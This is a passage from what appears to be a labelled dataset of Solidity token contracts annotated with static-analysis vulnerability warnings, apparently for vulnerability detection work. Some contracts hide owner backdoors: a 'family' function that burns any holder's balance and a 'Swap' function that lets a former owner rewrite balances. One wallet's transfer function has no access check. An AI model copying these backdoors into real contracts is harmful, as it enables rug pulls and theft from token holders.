true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 22dc2b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 22dc2b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7639958): BookofKamala.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7639958: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ea9f09): BookofKamala.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0ea9f09: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 76fdcec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 76fdcec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 22dc2b8\n\t\t// reentrancy-eth | ID: 76fdcec\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 22dc2b8\n\t\t// unused-return | ID: 0ea9f09\n\t\t// reentrancy-eth | ID: 76fdcec\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 22dc2b8\n\t\t// unused-return | ID: 7639958\n\t\t// reentrancy-eth | ID: 76fdcec\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 22dc2b8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 76fdcec\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10875.sol",
"size_bytes": 19961,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 233198235841242551134071450753470360614461789576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function family(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"MEMESWAP\", unicode\"MEMESWAP\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10876.sol",
"size_bytes": 7091,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n}\n\ncontract TokenWallet {\n\t// WARNING Optimization Issue (immutable-states | ID: 6a49c7c): TokenWallet.owner should be immutable \n\t// Recommendation for 6a49c7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n mapping(address => bool) public approvedUsers;\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not contract owner\");\n\n _;\n }\n\n function approveUser(address user) external onlyOwner {\n approvedUsers[user] = true;\n }\n\n function revokeUser(address user) external onlyOwner {\n approvedUsers[user] = false;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1055991): TokenWallet.transferTokens(address,address,uint256) ignores return value by IERC20(token).transfer(to,amount)\n\t// Recommendation for 1055991: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferTokens(\n address token,\n address to,\n uint256 amount\n ) external {\n\t\t// unchecked-transfer | ID: 1055991\n IERC20(token).transfer(to, amount);\n }\n}\n",
"file_name": "solidity_code_10877.sol",
"size_bytes": 1372,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etciwith(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Swap(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSendere == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract LION is ERC20 {\n uint256 private constant TOAL_SUPPLY = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: ce0db9c): LION.DEAD shadows ERC20.DEAD\n\t// Recommendation for ce0db9c: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 974a5ab): LION.ZERO shadows ERC20.ZERO\n\t// Recommendation for 974a5ab: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f8af682): LION.maxTxAmTaddress should be immutable \n\t// Recommendation for f8af682: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmTaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 526dab3): LION.maxwall_address should be immutable \n\t// Recommendation for 526dab3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwall_address;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5862ce2): LION._burnPettstoken should be constant \n\t// Recommendation for 5862ce2: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettstoken = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 86c2821): LION.uniswapV2Router should be immutable \n\t// Recommendation for 86c2821: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Lion coin\", unicode\"LION\", TOAL_SUPPLY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwall_address = TOAL_SUPPLY / 33;\n\n maxTxAmTaddress = TOAL_SUPPLY / 33;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettstoken) / 100;\n\n super._transfer_etciwith(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmTaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwall_address,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10878.sol",
"size_bytes": 18895,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 